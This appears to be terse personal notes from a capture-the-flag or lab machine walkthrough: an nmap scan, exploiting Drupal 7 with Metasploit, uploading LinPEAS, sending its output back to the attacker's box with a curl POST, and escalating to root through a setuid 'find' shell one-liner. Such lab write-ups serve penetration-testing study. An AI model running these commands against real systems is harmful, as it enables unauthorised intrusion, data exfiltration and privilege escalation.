nmap 192.168.105.193 -p- -sV -T4 -A
Found that Drupal 7 was the version installed.
Used Metasploit to get a shell... I know script kiddie
Uploaded Linpeas and ran it. Then sent it back to my box to review.
curl -X POST http://192.168.49.105:8000/upload -F 'files=@linpeas.txt'
Linpeas found that find was stickied.
find . -exec /bin/sh \; -quit
